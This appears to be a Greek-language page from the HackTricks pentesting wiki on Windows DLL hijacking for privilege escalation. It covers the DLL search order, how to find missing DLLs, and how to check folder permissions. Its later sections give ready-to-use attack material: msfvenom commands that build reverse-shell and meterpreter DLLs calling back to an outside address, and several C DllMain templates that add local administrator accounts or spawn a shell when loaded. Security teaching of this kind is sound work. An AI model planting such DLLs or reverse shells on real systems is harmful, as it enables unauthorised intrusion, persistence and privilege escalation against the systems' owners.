23 KiB
Dll Hijacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Basic Information
Η εκμετάλλευση DLL περιλαμβάνει την παραποίηση μιας αξιόπιστης εφαρμογής ώστε να φορτώσει μια κακόβουλη DLL. Αυτός ο όρος περιλαμβάνει πολλές τακτικές όπως DLL Spoofing, Injection, και Side-Loading. Χρησιμοποιείται κυρίως για εκτέλεση κώδικα, επίτευξη επιμονής και, λιγότερο συχνά, κλιμάκωση δικαιωμάτων. Παρά την εστίαση στην κλιμάκωση εδώ, η μέθοδος της εκμετάλλευσης παραμένει συνεπής σε όλους τους στόχους.
Common Techniques
Διάφορες μέθοδοι χρησιμοποιούνται για την εκμετάλλευση DLL, καθεμία με την αποτελεσματικότητά της ανάλογα με τη στρατηγική φόρτωσης DLL της εφαρμογής:
- DLL Replacement: Αντικατάσταση μιας γνήσιας DLL με μια κακόβουλη, προαιρετικά χρησιμοποιώντας DLL Proxying για να διατηρηθεί η λειτουργικότητα της αρχικής DLL.
- DLL Search Order Hijacking: Τοποθέτηση της κακόβουλης DLL σε μια διαδρομή αναζήτησης πριν από τη νόμιμη, εκμεταλλευόμενοι το μοτίβο αναζήτησης της εφαρμογής.
- Phantom DLL Hijacking: Δημιουργία μιας κακόβουλης DLL για να φορτωθεί από μια εφαρμογή, νομίζοντας ότι είναι μια ανύπαρκτη απαιτούμενη DLL.
- DLL Redirection: Τροποποίηση παραμέτρων αναζήτησης όπως το
%PATH%
ή τα αρχεία.exe.manifest
/.exe.local
για να κατευθυνθεί η εφαρμογή στην κακόβουλη DLL. - WinSxS DLL Replacement: Αντικατάσταση της νόμιμης DLL με μια κακόβουλη στο φάκελο WinSxS, μια μέθοδος που συχνά σχετίζεται με την πλευρική φόρτωση DLL.
- Relative Path DLL Hijacking: Τοποθέτηση της κακόβουλης DLL σε έναν φάκελο που ελέγχεται από τον χρήστη με την αντιγραμμένη εφαρμογή, που μοιάζει με τις τεχνικές Binary Proxy Execution.
Finding missing Dlls
Ο πιο κοινός τρόπος για να βρείτε ελλείπουσες DLL σε ένα σύστημα είναι να εκτελέσετε procmon από sysinternals, ορίζοντας τους ακόλουθους 2 φίλτρους:
και να δείξετε μόνο τη Δραστηριότητα Συστήματος Αρχείων:
Αν ψάχνετε για ελλείπουσες dll γενικά μπορείτε να αφήσετε αυτό να τρέχει για μερικά δευτερόλεπτα.
Αν ψάχνετε για μια ελλείπουσα dll μέσα σε μια συγκεκριμένη εκτελέσιμη θα πρέπει να ορίσετε ένα άλλο φίλτρο όπως "Process Name" "contains" "<exec name>", να το εκτελέσετε και να σταματήσετε την καταγραφή γεγονότων.
Exploiting Missing Dlls
Για να κλιμακώσουμε δικαιώματα, η καλύτερη ευκαιρία που έχουμε είναι να μπορέσουμε να γράψουμε μια dll που μια διαδικασία με δικαιώματα θα προσπαθήσει να φορτώσει σε κάποιο μέρος όπου θα αναζητηθεί. Επομένως, θα μπορέσουμε να γράψουμε μια dll σε έναν φάκελο όπου η dll αναζητείται πριν από τον φάκελο όπου βρίσκεται η αρχική dll (παράξενος περίπτωση), ή θα μπορέσουμε να γράψουμε σε κάποιο φάκελο όπου η dll θα αναζητηθεί και η αρχική dll δεν υπάρχει σε κανέναν φάκελο.
Dll Search Order
Μέσα στην τεκμηρίωση της Microsoft μπορείτε να βρείτε πώς φορτώνονται οι DLL συγκεκριμένα.
Οι εφαρμογές των Windows αναζητούν DLL ακολουθώντας ένα σύνολο προκαθορισμένων διαδρομών αναζήτησης, τηρώντας μια συγκεκριμένη ακολουθία. Το ζήτημα της εκμετάλλευσης DLL προκύπτει όταν μια επιβλαβής DLL τοποθετείται στρατηγικά σε έναν από αυτούς τους καταλόγους, διασφαλίζοντας ότι θα φορτωθεί πριν από την αυθεντική DLL. Μια λύση για να αποτραπεί αυτό είναι να διασφαλιστεί ότι η εφαρμογή χρησιμοποιεί απόλυτες διαδρομές όταν αναφέρεται στις DLL που απαιτεί.
Μπορείτε να δείτε τη σειρά αναζήτησης DLL σε 32-bit συστήματα παρακάτω:
- Ο φάκελος από τον οποίο φορτώθηκε η εφαρμογή.
- Ο φάκελος συστήματος. Χρησιμοποιήστε τη λειτουργία GetSystemDirectory για να αποκτήσετε τη διαδρομή αυτού του φακέλου.(C:\Windows\System32)
- Ο φάκελος 16-bit συστήματος. Δεν υπάρχει λειτουργία που να αποκτά τη διαδρομή αυτού του φακέλου, αλλά αναζητείται. (C:\Windows\System)
- Ο φάκελος των Windows. Χρησιμοποιήστε τη λειτουργία GetWindowsDirectory για να αποκτήσετε τη διαδρομή αυτού του φακέλου.
- (C:\Windows)
- Ο τρέχων φάκελος.
- Οι φάκελοι που αναφέρονται στη μεταβλητή περιβάλλοντος PATH. Σημειώστε ότι αυτό δεν περιλαμβάνει τη διαδρομή ανά εφαρμογή που καθορίζεται από το κλειδί μητρώου App Paths. Το κλειδί App Paths δεν χρησιμοποιείται κατά τον υπολογισμό της διαδρομής αναζήτησης DLL.
Αυτή είναι η προεπιλεγμένη σειρά αναζήτησης με ενεργοποιημένο το SafeDllSearchMode. Όταν είναι απενεργοποιημένο, ο τρέχων φάκελος ανεβαίνει στη δεύτερη θέση. Για να απενεργοποιήσετε αυτή τη δυνατότητα, δημιουργήστε την τιμή μητρώου HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode και ορίστε την σε 0 (η προεπιλογή είναι ενεργοποιημένη).
Αν η λειτουργία LoadLibraryEx καλείται με LOAD_WITH_ALTERED_SEARCH_PATH, η αναζήτηση αρχίζει στον φάκελο του εκτελέσιμου μοντέλου που φορτώνει το LoadLibraryEx.
Τέλος, σημειώστε ότι μια dll θα μπορούσε να φορτωθεί υποδεικνύοντας την απόλυτη διαδρομή αντί για το όνομα. Σε αυτή την περίπτωση, η dll θα αναζητηθεί μόνο σε αυτή τη διαδρομή (αν η dll έχει εξαρτήσεις, θα αναζητηθούν όπως φορτώθηκαν μόνο με το όνομα).
Υπάρχουν άλλοι τρόποι για να τροποποιήσετε τις μεθόδους αναζήτησης, αλλά δεν θα τους εξηγήσω εδώ.
Exceptions on dll search order from Windows docs
Ορισμένες εξαιρέσεις από τη стандартική σειρά αναζήτησης DLL σημειώνονται στην τεκμηρίωση των Windows:
- Όταν συναντηθεί μια DLL που μοιράζεται το όνομά της με μία που έχει ήδη φορτωθεί στη μνήμη, το σύστημα παρακάμπτει τη συνήθη αναζήτηση. Αντίθετα, εκτελεί έναν έλεγχο για ανακατεύθυνση και ένα μανιφέστο πριν επιστρέψει στη DLL που είναι ήδη στη μνήμη. Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για τη DLL.
- Σε περιπτώσεις όπου η DLL αναγνωρίζεται ως γνωστή DLL για την τρέχουσα έκδοση των Windows, το σύστημα θα χρησιμοποιήσει την έκδοση της γνωστής DLL, μαζί με οποιαδήποτε από τις εξαρτώμενες DLL της, παρακάμπτοντας τη διαδικασία αναζήτησης. Το κλειδί μητρώου HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs περιέχει μια λίστα με αυτές τις γνωστές DLL.
- Αν μια DLL έχει εξαρτήσεις, η αναζήτηση για αυτές τις εξαρτώμενες DLL διεξάγεται σαν να υποδεικνύονταν μόνο με τα ονόματα των μονάδων τους, ανεξάρτητα από το αν η αρχική DLL αναγνωρίστηκε μέσω πλήρους διαδρομής.
Escalating Privileges
Requirements:
- Εντοπίστε μια διαδικασία που λειτουργεί ή θα λειτουργήσει με διαφορετικά δικαιώματα (οριζόντια ή πλευρική κίνηση), η οποία λείπει μια DLL.
- Διασφαλίστε ότι υπάρχει πρόσβαση εγγραφής για οποιονδήποτε φάκελο στον οποίο θα αναζητηθεί η DLL. Αυτή η τοποθεσία μπορεί να είναι ο φάκελος της εκτελέσιμης ή ένας φάκελος εντός της διαδρομής του συστήματος.
Ναι, οι απαιτήσεις είναι περίπλοκες να βρεθούν καθώς κατά προεπιλογή είναι κάπως παράξενο να βρείτε μια εκτελέσιμη με δικαιώματα που να λείπει μια dll και είναι ακόμη πιο παράξενο να έχετε δικαιώματα εγγραφής σε έναν φάκελο διαδρομής συστήματος (δεν μπορείτε κατά προεπιλογή). Αλλά, σε κακώς ρυθμισμένα περιβάλλοντα αυτό είναι δυνατό.
Σε περίπτωση που είστε τυχεροί και πληροίτε τις απαιτήσεις, μπορείτε να ελέγξετε το έργο UACME. Ακόμη και αν ο κύριος στόχος του έργου είναι η παράκαμψη του UAC, μπορεί να βρείτε εκεί μια PoC εκμετάλλευσης DLL για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανώς αλλάζοντας απλώς τη διαδρομή του φακέλου όπου έχετε δικαιώματα εγγραφής).
Σημειώστε ότι μπορείτε να ελέγξετε τα δικαιώματά σας σε έναν φάκελο κάνοντας:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
Και έλεγξε τα δικαιώματα όλων των φακέλων μέσα στο PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Μπορείτε επίσης να ελέγξετε τις εισαγωγές ενός εκτελέσιμου και τις εξαγωγές μιας dll με:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Για έναν πλήρη οδηγό σχετικά με το πώς να καταχραστείτε το Dll Hijacking για να κλιμακώσετε τα δικαιώματα με άδειες εγγραφής σε έναν φάκελο System Path ελέγξτε:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
Αυτοματοποιημένα εργαλεία
Winpeas θα ελέγξει αν έχετε άδειες εγγραφής σε οποιονδήποτε φάκελο μέσα στο system PATH.
Άλλα ενδιαφέροντα αυτοματοποιημένα εργαλεία για την ανακάλυψη αυτής της ευπάθειας είναι οι λειτουργίες PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack και Write-HijackDll.
Παράδειγμα
Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς θα ήταν να δημιουργήσετε ένα dll που εξάγει τουλάχιστον όλες τις λειτουργίες που θα εισάγει το εκτελέσιμο από αυτό. Ούτως ή άλλως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να κλιμακώσετε από το Medium Integrity level σε High (παρακάμπτοντας το UAC) ή από High Integrity σε SYSTEM. Μπορείτε να βρείτε ένα παράδειγμα για πώς να δημιουργήσετε ένα έγκυρο dll μέσα σε αυτή τη μελέτη dll hijacking που επικεντρώνεται στο dll hijacking για εκτέλεση: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Επιπλέον, στην επόμενη ενότητα μπορείτε να βρείτε μερικούς βασικούς κωδικούς dll που μπορεί να είναι χρήσιμοι ως πρότυπα ή για να δημιουργήσετε ένα dll με μη απαιτούμενες εξαγόμενες λειτουργίες.
Δημιουργία και μεταγλώττιση Dlls
Dll Proxifying
Βασικά, ένα Dll proxy είναι ένα Dll ικανό να εκτελεί τον κακόβουλο κώδικά σας όταν φορτωθεί αλλά και να εκθέτει και να λειτουργεί όπως αναμένεται μέσω αναμετάδοσης όλων των κλήσεων στη πραγματική βιβλιοθήκη.
Με το εργαλείο DLLirant ή Spartacus μπορείτε στην πραγματικότητα να υποδείξετε ένα εκτελέσιμο και να επιλέξετε τη βιβλιοθήκη που θέλετε να proxify και να δημιουργήσετε ένα proxified dll ή να υποδείξετε το Dll και να δημιουργήσετε ένα proxified dll.
Meterpreter
Get rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Αποκτήστε ένα meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Δημιουργήστε έναν χρήστη (x86 δεν είδα μια x64 έκδοση):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
Your own
Σημειώστε ότι σε πολλές περιπτώσεις το Dll που θα συντάξετε πρέπει να εξάγει πολλές συναρτήσεις που θα φορτωθούν από τη διαδικασία του θύματος, αν αυτές οι συναρτήσεις δεν υπάρχουν, το δυαδικό αρχείο δεν θα μπορέσει να τις φορτώσει και η εκμετάλλευση θα αποτύχει.
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
Αναφορές
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
Συμβουλή bug bounty: εγγραφείτε στο Intigriti, μια premium πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers! Ελάτε μαζί μας στο https://go.intigriti.com/hacktricks σήμερα, και αρχίστε να κερδίζετε βραβεία έως $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Ελάτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.